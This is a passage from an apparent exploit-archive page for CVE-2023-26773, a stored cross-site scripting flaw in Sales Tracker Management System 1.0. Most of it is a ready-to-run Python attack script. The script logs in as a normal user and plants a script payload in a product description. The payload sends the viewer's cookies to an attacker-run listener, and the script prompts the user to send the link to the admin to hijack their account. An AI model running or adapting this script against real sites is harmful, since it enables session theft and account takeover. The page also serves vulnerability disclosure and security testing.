what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sales Tracker Management System 1.0 Cross Site Scripting

Sales Tracker Management System 1.0 Cross Site Scripting
Posted Apr 5, 2023
Authored by Achuth V P

Sales Tracker Management System version 1.0 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2023-26773
SHA-256 | 5f6e59696ca0ff9f4890d4eda413fddbf9dd4ec51761c6ba45d006c94094720d

Sales Tracker Management System 1.0 Cross Site Scripting

Change Mirror Download
# Exploit Title: Sales Tracker Management System v1.0 - One click account takeover XSS
# Exploit Author: Achuth V P (retrymp3)
# Date: February 08, 2023
# CVE: CVE-2023-26773
# Vendor Homepage: https://www.sourcecodester.com/php/16061/sales-tracker-management-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=16061&title=Sales+Tracker+Management+System+using+PHP+Free+Source+Code
# Tested on: Ubuntu, Apache, Mysql
# Vendor: oretnom23
# Version: v1.0
# Exploit Description: Sales Tracker Management System v1.0 suffers from XSS which results in one click account take over by stealing cookies.

import requests
from requests.auth import HTTPBasicAuth
import http.server
import socketserver
import argparse
from colorama import (Fore as F, Back as B, Style as S)
BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT


def expServer():
Handler = http.server.SimpleHTTPRequestHandler
PORT = 8000 #You can change.
with socketserver.TCPServer(("", PORT), Handler) as httpd:
print("serving at port", PORT)
httpd.serve_forever()

def auth():
print("Enter the username and password for a normal user")
user=input("Username: ")
passwd=input("Password: ")
auth = HTTPBasicAuth(user, passwd)
params = {'username': user, 'password': passwd}
#proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
#proxies=proxies give it as an argument to requests.get() to proxy it through burp.
req=requests.post(url+'classes/Login.php?f=login',data=params)

def payL():
tf=requests.post(url+'/classes/Master.php?f=save_product',
files=(
('id', (None, '1')),
('code', (None, '123456')),
('name', (None, 'xssssssREssss')),
('description', (None, '<script>document.location="http://0.0.0.0:8000/?cookie="+document.cookie</script>')),
('price', (None, '355.19')),
('status', (None, '1'))
)
)
if (tf):
print("Send this to admin: "+FR+url+"admin/products/view_product.php?id=1"+FR+"\n")
print(FC+"When admin clicks on the link you can see admin's cookie in the request log of the python server"+FY+"\n")
else:
print("Bad request. Check the url")

def bullet(char,color):
C=FB if color == 'B' else FR if color == 'R' else FG
return SB+C+'['+ST+SB+char+SB+C+']'+ST+' '


def sig():
SIG = SB+FY+" "+FR+".-----..___.._____. "+FY+"\n"
SIG += FY+" | .. >||__-__-_| \n"
SIG += FY+" "+FR+"| |.' ,||_______ "+FY+"\n"
SIG += FY+" | _ < ||__-__-_|"+FR+"* * *"+FY+" \n"
SIG += FY+" | |\ \ ||__-__-_\n"
SIG += FY+" "+FR+"|___ \_ \||_______| "+FY+"\n"
SIG += FY+"\n"+" _____"+FR+"github.com/retrymp3"+FY+"_____\n"+ST
return SIG

def argsetup():
about = SB+FT+'Admin account takeover - Sales Tracking Manager v1.0\n'+ST
return about


if __name__ == "__main__":
header = SB+FT+"\n"+' '+FR+'retrymp3\n'+ST
print(header)
print(sig())
print(argsetup())
url=input("Enter the base url: ")
auth()
payL()
expServer()
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close